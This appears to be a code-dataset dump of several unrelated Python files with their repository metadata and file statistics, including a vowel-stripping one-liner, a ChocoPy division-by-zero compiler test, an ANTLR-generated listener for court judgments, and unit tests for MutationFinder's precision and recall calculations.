# string = [char for char in input() if char not in ['a', 'o', 'u', 'e', 'i', 'A', 'O', 'U', 'E', 'I']] # print(''.join(string)) print(''.join([char for char in input() if char not in ['a', 'o', 'u', 'e', 'i', 'A', 'O', 'U', 'E', 'I']]))

47.8

108

0.451883

44

239

2.454545

0.318182

0.074074

0.111111

0.148148

0.722222

0

0.1841

239

5

108

47.8

0.553846

0.518828

0

0.088496

0

1

0

true

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

8

f4481c6c66e01bd68ba6d1c85cec8cee806386f1

15

py

Python

src/test/data/pa3/sample/error_div_zero.py

Leo-Enrique-Wu/chocopy_compiler_code_generation

4606be0531b3de77411572aae98f73169f46b3b9

[ "BSD-2-Clause" ]

7

2021-08-28T18:20:45.000Z

2022-02-01T07:35:59.000Z

src/test/data/pa3/sample/error_div_zero.py

Leo-Enrique-Wu/chocopy_compiler_code_generation

4606be0531b3de77411572aae98f73169f46b3b9

[ "BSD-2-Clause" ]

4

2020-05-18T01:06:15.000Z

2020-06-12T19:33:14.000Z

src/test/data/pa3/sample/error_div_zero.py

Leo-Enrique-Wu/chocopy_compiler_code_generation

4606be0531b3de77411572aae98f73169f46b3b9

[ "BSD-2-Clause" ]

5

2019-11-27T05:11:05.000Z

2021-06-29T14:31:14.000Z

print(42 // 0)

7.5

14

0.533333

3

15

2.666667

1

0

0.25

0.2

15

1

15

0.416667

0

1

0

true

0

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

7

f4611785cc181dcf6912c13931a483f780ba9464

6,579

py

Python

grammars/gen/SupremeCourtListener.py

OpenLawsGR/judgments2AKN

0c6217349cde36058d5599800e289fdf0d3eaf23

[ "MIT" ]

5

2019-11-28T17:02:59.000Z

2021-02-05T17:39:49.000Z

grammars/gen/SupremeCourtListener.py

OpenLawsGR/judgments2AKN

0c6217349cde36058d5599800e289fdf0d3eaf23

[ "MIT" ]

null

grammars/gen/SupremeCourtListener.py

OpenLawsGR/judgments2AKN

0c6217349cde36058d5599800e289fdf0d3eaf23

[ "MIT" ]

null

# Generated from /home/plessas/EDBM34/grammars/SupremeCourt.g4 by ANTLR 4.7.2 from antlr4 import * # This class defines a complete listener for a parse tree produced by SupremeCourtParser. class SupremeCourtListener(ParseTreeListener): # Enter a parse tree produced by SupremeCourtParser#akomaNtoso. def enterAkomaNtoso(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#akomaNtoso. def exitAkomaNtoso(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#text. def enterText(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#text. def exitText(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#judgment. def enterJudgment(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#judgment. def exitJudgment(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#header. def enterHeader(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#header. def exitHeader(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#caseNmuber. def enterCaseNmuber(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#caseNmuber. def exitCaseNmuber(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#docProponent. def enterDocProponent(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#docProponent. def exitDocProponent(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#headerPar. def enterHeaderPar(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#headerPar. def exitHeaderPar(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#headerLastPar. def enterHeaderLastPar(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#headerLastPar. def exitHeaderLastPar(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#headerLastPar_alt. def enterHeaderLastPar_alt(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#headerLastPar_alt. def exitHeaderLastPar_alt(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#docNumber. def enterDocNumber(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#docNumber. def exitDocNumber(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#judgmentBody. def enterJudgmentBody(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#judgmentBody. def exitJudgmentBody(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#introduction. def enterIntroduction(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#introduction. def exitIntroduction(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#introductionIntro. def enterIntroductionIntro(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#introductionIntro. def exitIntroductionIntro(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#intro_Par. def enterIntro_Par(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#intro_Par. def exitIntro_Par(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#motivation. def enterMotivation(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#motivation. def exitMotivation(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#motivPar. def enterMotivPar(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#motivPar. def exitMotivPar(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#blockList. def enterBlockList(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#blockList. def exitBlockList(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#arPagos_item. def enterArPagos_item(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#arPagos_item. def exitArPagos_item(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#itemPar. def enterItemPar(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#itemPar. def exitItemPar(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#num. def enterNum(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#num. def exitNum(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#decision. def enterDecision(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#decision. def exitDecision(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#decisionIntro. def enterDecisionIntro(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#decisionIntro. def exitDecisionIntro(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#decisionPar. def enterDecisionPar(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#decisionPar. def exitDecisionPar(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#outcome. def enterOutcome(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#outcome. def exitOutcome(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#conclusions. def enterConclusions(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#conclusions. def exitConclusions(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#conclusionIntro. def enterConclusionIntro(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#conclusionIntro. def exitConclusionIntro(self, ctx): pass # Enter a parse tree produced by SupremeCourtParser#concPar. def enterConcPar(self, ctx): pass # Exit a parse tree produced by SupremeCourtParser#concPar. def exitConcPar(self, ctx): pass

26.316

89

0.693722

746

6,579

6.101877

0.154156

0.072496

0.120826

0.217487

0.793058

0.78471

0.783612

0.647847

0.634227

0

0.001412

0.246542

6,579

249

90

26.421687

0.916885

0.521052

0

0.490909

1

0

1

0.490909

false

0.490909

0.009091

0

0.509091

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

1

0

1

0

9

f46e0ea2a9a506db19309a33ae006ab0144fe5c3

27,135

py

Python

resources/mutationfinder/origDist/test_performance.py

pjcoenen/SETH

721239046936c6fa4d4525cb7d7c5a3a43e64984

[ "Apache-2.0" ]

25

2015-05-30T23:18:49.000Z

2022-03-10T08:02:59.000Z

resources/mutationfinder/origDist/test_performance.py

pjcoenen/SETH

721239046936c6fa4d4525cb7d7c5a3a43e64984

[ "Apache-2.0" ]

27

2016-05-20T09:27:41.000Z

2022-03-31T08:10:53.000Z

resources/mutationfinder/origDist/test_performance.py

pjcoenen/SETH

721239046936c6fa4d4525cb7d7c5a3a43e64984

[ "Apache-2.0" ]

9

2015-06-02T11:39:03.000Z

2021-11-11T12:27:56.000Z

#!/usr/bin/env python # Author: Greg Caporaso (gregcaporaso@gmail.com) # test_performance.py """ Description File created on 07 Feb 2007. This file contains tests of the classes and functions in the MutationFinder performance.py script. Copyright (c) 2007 Regents of the University of Colorado Please refer to licensing agreement at MUTATIONFINDER_HOME/doc/license.txt """ from unittest import TestCase, main from performance import PerformanceCalculatorResult,PerformanceCalculator,\ PerformanceCalculatorError,parse_extraction_data from mutation_finder import PointMutation class PerformanceCalculatorResultTests(TestCase): """ Tests of the PerformanceCalculatorResult object Note: I like to use abbreviation of the class names to make the makes more clear -- in this case that abbreviation is PCR, which is a litle weird since that's a very common acronym. Just to make it clear, this reference is to PerformanceCalculatorResult, not Polymerase Chain Reaction. """ def setUp(self): """ Initialize data for tests """ self._pcr = PerformanceCalculatorResult(42,1,0,5) def test_init_all_ints(self): """PCR: init functions as expected with valid & complete input """ pcr = PerformanceCalculatorResult(42,1,0,5) self.assertEqual(pcr.TruePositive,42) self.assertEqual(pcr.FalsePositive,1) self.assertEqual(pcr.FalseNegative,0) self.assertEqual(pcr.TrueNegative,5) self.assertAlmostEqual(pcr.Precision, 0.9767,3) self.assertAlmostEqual(pcr.Recall,1.0,3) self.assertAlmostEqual(pcr.FMeasure,0.9882,3) def test_init_missing_TN(self): """PCR: init functions with missing or non-int TrueNeagtive """ # TN = n/a pcr = PerformanceCalculatorResult(42,1,0,'n/a') self.assertEqual(pcr.TruePositive,42) self.assertEqual(pcr.FalsePositive,1) self.assertEqual(pcr.FalseNegative,0) self.assertEqual(pcr.TrueNegative,None) self.assertAlmostEqual(pcr.Precision, 0.9767,3) self.assertAlmostEqual(pcr.Recall,1.0,3) self.assertAlmostEqual(pcr.FMeasure,0.9882,3) # TN = None pcr = PerformanceCalculatorResult(42,1,0,None) pcr = PerformanceCalculatorResult(42,1,0) def test_calculate_precision(self): """PCR: precision calculations function as expected """ # Max and min tests pcr = PerformanceCalculatorResult(50,0,0,None) self.assertAlmostEqual(pcr._calculate_precision(),1.000,3) pcr = PerformanceCalculatorResult(0,50,0,None) self.assertAlmostEqual(pcr._calculate_precision(),0.000,3) # Intermediate tests pcr = PerformanceCalculatorResult(42,1,0,None) self.assertAlmostEqual(pcr._calculate_precision(),0.9767,3) pcr = PerformanceCalculatorResult(1,42,0,None) self.assertAlmostEqual(pcr._calculate_precision(),0.0232,3) pcr = PerformanceCalculatorResult(42,42,0,None) self.assertAlmostEqual(pcr._calculate_precision(),0.500,3) pcr = PerformanceCalculatorResult(42,126,0,None) self.assertAlmostEqual(pcr._calculate_precision(),0.250,3) pcr = PerformanceCalculatorResult(126,42,0,None) self.assertAlmostEqual(pcr._calculate_precision(),0.750,3) # FN/TN has no effect pcr = PerformanceCalculatorResult(126,42,20,None) self.assertAlmostEqual(pcr._calculate_precision(),0.750,3) pcr = PerformanceCalculatorResult(126,42,20,50) self.assertAlmostEqual(pcr._calculate_precision(),0.750,3) def test_calculate_recall(self): """PCR: recall calculations function as expected """ # Max and min tests pcr = PerformanceCalculatorResult(50,0,0,None) self.assertAlmostEqual(pcr._calculate_recall(),1.000,3) pcr = PerformanceCalculatorResult(0,0,50,None) self.assertAlmostEqual(pcr._calculate_recall(),0.000,3) # Intermediate tests pcr = PerformanceCalculatorResult(42,0,1,None) self.assertAlmostEqual(pcr._calculate_recall(),0.9767,3) pcr = PerformanceCalculatorResult(1,0,42,None) self.assertAlmostEqual(pcr._calculate_recall(),0.0232,3) pcr = PerformanceCalculatorResult(42,0,42,None) self.assertAlmostEqual(pcr._calculate_recall(),0.500,3) pcr = PerformanceCalculatorResult(42,0,126,None) self.assertAlmostEqual(pcr._calculate_recall(),0.250,3) pcr = PerformanceCalculatorResult(126,0,42,None) self.assertAlmostEqual(pcr._calculate_recall(),0.750,3) # FP/TN have no effect pcr = PerformanceCalculatorResult(126,20,42,None) self.assertAlmostEqual(pcr._calculate_recall(),0.750,3) pcr = PerformanceCalculatorResult(126,20,42,50) self.assertAlmostEqual(pcr._calculate_recall(),0.750,3) def test_f_measure(self): """PCR: f-measure calculations function as expected """ # Max and min tests pcr = PerformanceCalculatorResult(50,0,0,None) self.assertAlmostEqual(pcr._calculate_f_measure(),1.000,3) pcr = PerformanceCalculatorResult(0,50,0,None) self.assertEqual(pcr._calculate_f_measure(),None) pcr = PerformanceCalculatorResult(0,0,50,None) self.assertEqual(pcr._calculate_f_measure(),None) def test_calculation_divide_by_zeros(self): """PCR: P/R/F calculations correctly handle divide-by-zero errors""" # Divide by zero handled correctly pcr = PerformanceCalculatorResult(0,0,0,None) self.assertEqual(pcr._calculate_precision(),None) self.assertEqual(pcr._calculate_recall(),None) self.assertEqual(pcr._calculate_f_measure(),None) def test_pretty_precision_recall_fmeasure(self): """PCR: PRF formatting functions as expected """ expected = 'Precision\tRecall\tF-measure\n0.9767\t1.0000\t0.9882' self.assertEqual(self._pcr.pretty_precision_recall_fmeasure(),expected) def test_pretty_confusion_matrix(self): """PCR: Confusion matrix formatting functions as expected """ expected = 'tp\tfn\nfp\ttn\n--\n42\t0\n1\t5' self.assertEqual(self._pcr.pretty_confusion_matrix(),expected) def test_str(self): """PCR: str() functions as expected """ expected = '\n'.join([\ 'tp\tfn\nfp\ttn\n--\n42\t0\n1\t5',\ 'Precision\tRecall\tF-measure\n0.9767\t1.0000\t0.9882']) self.assertEqual(str(self._pcr),expected) class PerformanceCalculatorTests(TestCase): """ Tests of the PerformanceCalculator class """ def setUp(self): """ Set up variables for the tests""" self._gold_standard_data = gold_standard_data self._blank_mutation_data =\ {'3476160':{},'14500716':{},'12206666':{},'11327835':{}} self._pc = PerformanceCalculator(self._gold_standard_data) def test_init(self): """PC: init functions as expected """ # instantiate the class pc = PerformanceCalculator(self._gold_standard_data) # Check one of the values self.assertEqual(\ pc._gold_standard['12206666'][PointMutation(95,'D','N')],2) def test_extracted_mentions_blank_input(self): """PC: Extracted Mentions functions with no extracted mutations """ # Functions with no mutations perf = self._pc.calculate_extracted_mentions(\ self._blank_mutation_data) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,14) self.assertEqual(perf.TrueNegative,None) def test_extracted_mentions_blank_gs(self): """PC: Extracted Mentions functions with no gold standard mutations """ # Functions with an empty gold standard dict pc = PerformanceCalculator(self._blank_mutation_data) perf = pc.calculate_extracted_mentions(\ self._gold_standard_data) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,14) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,None) def test_extracted_mentions_perfect_input(self): """PC: Extracted Mentions functions with perfect extracted mutations """ # Functions with perfect input (i.e. equal to the gold standard) perf = self._pc.calculate_extracted_mentions(\ self._gold_standard_data) self.assertEqual(perf.TruePositive,14) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,None) def test_extracted_mentions_invalid_input(self): """PC: Extracted Mentions handles invalid input correctly """ # Handles gold-standard and extractor output which does # not completely overlap correctly -- this is explictly # not allowed because it is not clear how it should be # handled pc = PerformanceCalculator({'1':{},'2':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_extracted_mentions,{'1':{},'3':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_extracted_mentions,{'1':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_extracted_mentions,{'1':{},'2':{},'3':{}}) def test_extracted_mentions_varied_input(self): """PC: Extracted Mentions functions with varied extracted mutations """ # perf = self._pc.calculate_extracted_mentions(\ {'3476160':{PointMutation(22,'T','C'):1},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,13) self.assertEqual(perf.TrueNegative,None) # An extra count results in a false positive perf = self._pc.calculate_extracted_mentions(\ {'3476160':{PointMutation(22,'T','C'):2},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,1) self.assertEqual(perf.FalseNegative,13) self.assertEqual(perf.TrueNegative,None) # ...and two extra counts results in two false positives perf = self._pc.calculate_extracted_mentions(\ {'3476160':{PointMutation(22,'T','C'):3},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,2) self.assertEqual(perf.FalseNegative,13) self.assertEqual(perf.TrueNegative,None) # One missing count results in one false negative (see 11327835) # and one less true positive perf = self._pc.calculate_extracted_mentions(\ {'3476160': {PointMutation(87,'S','C'): 1,\ PointMutation(22,'T','C'): 1},\ '14500716': {},\ '12206666': {PointMutation(95,'D','A'): 4,\ PointMutation(95,'D','N'): 2,\ PointMutation(95,'D','E'): 2},\ '11327835': {PointMutation(64,'H','A'): 3}}) self.assertEqual(perf.TruePositive,13) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,1) self.assertEqual(perf.TrueNegative,None) # Two missing counts results in two false negatives (see 11327835) # and two less true positives perf = self._pc.calculate_extracted_mentions(\ {'3476160': {PointMutation(87,'S','C'): 1,\ PointMutation(22,'T','C'): 1},\ '14500716': {},\ '12206666': {PointMutation(95,'D','A'): 4,\ PointMutation(95,'D','N'): 2,\ PointMutation(95,'D','E'): 2},\ '11327835': {PointMutation(64,'H','A'): 2}}) self.assertEqual(perf.TruePositive,12) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,2) self.assertEqual(perf.TrueNegative,None) # One extra mutation tallied as one FalsePositive perf = self._pc.calculate_extracted_mentions(\ {'3476160':{PointMutation(42,'L','Y'):1},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,1) self.assertEqual(perf.FalseNegative,14) self.assertEqual(perf.TrueNegative,None) # Two extra mutations tallied as two FalsePositives perf = self._pc.calculate_extracted_mentions(\ {'3476160':{PointMutation(42,'L','Y'):2},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,2) self.assertEqual(perf.FalseNegative,14) self.assertEqual(perf.TrueNegative,None) perf = self._pc.calculate_extracted_mentions(\ {'3476160':{PointMutation(42,'L','Y'):1},\ '14500716':{PointMutation(33,'P','T'):1},\ '12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,2) self.assertEqual(perf.FalseNegative,14) self.assertEqual(perf.TrueNegative,None) def test_document_retrieval_blank_input(self): """PC: Document Retrieval functions with no extracted mutations """ # Functions with no extracted mutations perf = self._pc.calculate_document_retrieval(\ self._blank_mutation_data) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,3) self.assertEqual(perf.TrueNegative,1) def test_document_retrieval_blank_gs(self): """PC: Document Retrieval functions with no gold standard mutations """ # Functions with an empty gold standard dict pc = PerformanceCalculator(self._blank_mutation_data) perf = pc.calculate_document_retrieval(\ self._gold_standard_data) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,3) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,1) def test_document_retrieval_perfect_input(self): """PC: Document Retrieval functions with perfect extracted mutations """ # Functions with perfect input (i.e. equal to the gold standard) perf = self._pc.calculate_document_retrieval(\ self._gold_standard_data) self.assertEqual(perf.TruePositive,3) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,1) def test_document_retrieval_invalid_input(self): """PC: Document Retrieval handles invalid input correctly """ # Handles gold-standard and extractor output which does # not completely overlap correctly -- this is explictly # not allowed because it is not clear how it should be # handled pc = PerformanceCalculator({'1':{},'2':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_document_retrieval,{'1':{},'3':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_document_retrieval,{'1':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_document_retrieval,{'1':{},'2':{},'3':{}}) def test_document_retrieval_varied_input(self): """PC: Document Retrieval functions with varied extracted mutations """ # perf = self._pc.calculate_document_retrieval(\ {'3476160':{PointMutation(22,'T','C'):1},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,2) self.assertEqual(perf.TrueNegative,1) # An extra count has no effect perf = self._pc.calculate_document_retrieval(\ {'3476160':{PointMutation(22,'T','C'):2},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,2) self.assertEqual(perf.TrueNegative,1) # ...and two extra counts has no effect perf = self._pc.calculate_document_retrieval(\ {'3476160':{PointMutation(22,'T','C'):3},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,2) self.assertEqual(perf.TrueNegative,1) # One missing count has no effect perf = self._pc.calculate_document_retrieval(\ {'3476160': {PointMutation(87,'S','C'): 1,\ PointMutation(22,'T','C'): 1},\ '14500716': {},\ '12206666': {PointMutation(95,'D','A'): 4,\ PointMutation(95,'D','N'): 2,\ PointMutation(95,'D','E'): 2},\ '11327835': {PointMutation(64,'H','A'): 3}}) self.assertEqual(perf.TruePositive,3) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,1) # Two missing counts has no effect perf = self._pc.calculate_document_retrieval(\ {'3476160': {PointMutation(87,'S','C'): 1,\ PointMutation(22,'T','C'): 1},\ '14500716': {},\ '12206666': {PointMutation(95,'D','A'): 4,\ PointMutation(95,'D','N'): 2,\ PointMutation(95,'D','E'): 2},\ '11327835': {PointMutation(64,'H','A'): 2}}) self.assertEqual(perf.TruePositive,3) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,1) # Incorrect mutations still counts as a TP document perf = self._pc.calculate_document_retrieval(\ {'3476160':{PointMutation(42,'L','Y'):1},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,2) self.assertEqual(perf.TrueNegative,1) # False Positive/TrueNegative tallied correctly perf = self._pc.calculate_document_retrieval(\ {'3476160':{},'14500716':{PointMutation(42,'L','Y'):1},\ '12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,1) self.assertEqual(perf.FalseNegative,3) self.assertEqual(perf.TrueNegative,0) def test_normalized_mutations_blank_input(self): """PC: Normalized Mutations functions with no extracted mutations """ # Functions with no extracted mutations perf = self._pc.calculate_normalized_mutations(\ self._blank_mutation_data) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,6) self.assertEqual(perf.TrueNegative,None) def test_normalized_mutations_blank_gs(self): """PC: Normalized Mutations functions with no gold standard mutations """ # Functions with an empty gold standard dict pc = PerformanceCalculator(self._blank_mutation_data) perf = pc.calculate_normalized_mutations(\ self._gold_standard_data) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,6) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,None) def test_normalized_mutations_perfect_input(self): """PC: Normalized Mutations functions with perfect extracted mutations """ # Functions with perfect input (i.e. equal to the gold standard) perf = self._pc.calculate_normalized_mutations(\ self._gold_standard_data) self.assertEqual(perf.TruePositive,6) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,None) def test_normalized_mutations_invalid_input(self): """PC: Normalized Mutations handles invalid input correctly """ # Handles gold-standard and extractor output which does # not completely overlap correctly -- this is explictly # not allowed because it is not clear how it should be # handled pc = PerformanceCalculator({'1':{},'2':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_normalized_mutations,{'1':{},'3':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_normalized_mutations,{'1':{}}) self.assertRaises(PerformanceCalculatorError,\ pc.calculate_normalized_mutations,{'1':{},'2':{},'3':{}}) def test_normalized_mutations_varied_input(self): """PC: Normalized Mutations functions with varied extracted mutations """ # perf = self._pc.calculate_normalized_mutations(\ {'3476160':{PointMutation(22,'T','C'):1},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,5) self.assertEqual(perf.TrueNegative,None) # An extra count has no effect perf = self._pc.calculate_normalized_mutations(\ {'3476160':{PointMutation(22,'T','C'):2},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,5) self.assertEqual(perf.TrueNegative,None) # ...and two extra counts have no effect perf = self._pc.calculate_normalized_mutations(\ {'3476160':{PointMutation(22,'T','C'):3},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,1) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,5) self.assertEqual(perf.TrueNegative,None) # One missing count has no effect perf = self._pc.calculate_normalized_mutations(\ {'3476160': {PointMutation(87,'S','C'): 1,\ PointMutation(22,'T','C'): 1},\ '14500716': {},\ '12206666': {PointMutation(95,'D','A'): 4,\ PointMutation(95,'D','N'): 2,\ PointMutation(95,'D','E'): 2},\ '11327835': {PointMutation(64,'H','A'): 3}}) self.assertEqual(perf.TruePositive,6) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,None) # Two missing counts have no effect perf = self._pc.calculate_normalized_mutations(\ {'3476160': {PointMutation(87,'S','C'): 1,\ PointMutation(22,'T','C'): 1},\ '14500716': {},\ '12206666': {PointMutation(95,'D','A'): 4,\ PointMutation(95,'D','N'): 2,\ PointMutation(95,'D','E'): 2},\ '11327835': {PointMutation(64,'H','A'): 2}}) self.assertEqual(perf.TruePositive,6) self.assertEqual(perf.FalsePositive,0) self.assertEqual(perf.FalseNegative,0) self.assertEqual(perf.TrueNegative,None) # One extra mutation tallied as one FalsePositive perf = self._pc.calculate_normalized_mutations(\ {'3476160':{PointMutation(42,'L','Y'):1},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,1) self.assertEqual(perf.FalseNegative,6) self.assertEqual(perf.TrueNegative,None) # Two counts of one extra mutation tallied as one FalsePositive perf = self._pc.calculate_normalized_mutations(\ {'3476160':{PointMutation(42,'L','Y'):2},\ '14500716':{},'12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,1) self.assertEqual(perf.FalseNegative,6) self.assertEqual(perf.TrueNegative,None) # Two extra mutations tallied as two FalsePositives perf = self._pc.calculate_normalized_mutations(\ {'3476160':{PointMutation(42,'L','Y'):1},\ '14500716':{PointMutation(33,'P','T'):1},\ '12206666':{},'11327835':{}}) self.assertEqual(perf.TruePositive,0) self.assertEqual(perf.FalsePositive,2) self.assertEqual(perf.FalseNegative,6) self.assertEqual(perf.TrueNegative,None) class ScriptTests(TestCase): """ Tests of the script functionality """ def setUp(self): """ Set up variables for the tests """ self._fake_gold_standard_file = fake_gold_standard_file.split('\n') self._fake_gold_standard_file_w_spans = \ fake_gold_standard_file_w_spans.split('\n') self._gold_standard_data = gold_standard_data def test_parse_extraction_data(self): """ parse_extraction_data correctly parses input file format """ self.assertEqual(parse_extraction_data(self._fake_gold_standard_file),\ self._gold_standard_data) # Spans handled correctly self.assertEqual(parse_extraction_data(\ self._fake_gold_standard_file_w_spans),self._gold_standard_data) if __name__ == "__main__": fake_gold_standard_file = """3476160\tT22C\tS87C 14500716 12206666\tD95A\tD95A\tD95A\tD95E\tD95E\tD95A\tD95N\tD95N 11327835\tH64A\tH64A\tH64A\tH64A""" fake_gold_standard_file_w_spans = \ """3476160\tT22C:0,4\tS87C:9,15 14500716 12206666\tD95A:4,12\tD95A:22,33\tD95A:44,55\tD95E:55,66\tD95E:0,4\tD95A:99,100\tD95N:1000,1006\tD95N:99,104 11327835\tH64A:66,72\tH64A:42,45\tH64A:6,9999\tH64A:88,99""" gold_standard_data = {\ '3476160': {PointMutation(87,'S','C'): 1,\ PointMutation(22,'T','C'): 1},\ '14500716': {},\ '12206666': {PointMutation(95,'D','A'): 4,\ PointMutation(95,'D','N'): 2,\ PointMutation(95,'D','E'): 2},\ '11327835': {PointMutation(64,'H','A'): 4}\ } main()

45.528523

115

0.637037

2,938

27,135

5.753914

0.099387

0.130435

0.143863

0.050873

0.846673

0.810707

0.770127

0.726826

0.664005

0.621769

0

0.078193

0.234605

27,135

595

116

45.605042

0.73576

0.170407

0

0.708029

0

0.057099

0.011547

0

0.440389

1

0.07056

false

0

0.007299

0

0.085158

0

null

0

1

0

1

0

1

0

null

0

1

0

7

be32f7741df4b5bb02637b27337b6100b1d30357

13,431

py

Python

tests/extensions/test_scientific.py

emmanuelmathot/pystac

6552327f30658d25972c97024ed71865ed131e52

[ "Apache-2.0" ]

null

tests/extensions/test_scientific.py

emmanuelmathot/pystac

6552327f30658d25972c97024ed71865ed131e52

[ "Apache-2.0" ]

null

tests/extensions/test_scientific.py

emmanuelmathot/pystac

6552327f30658d25972c97024ed71865ed131e52

[ "Apache-2.0" ]

null

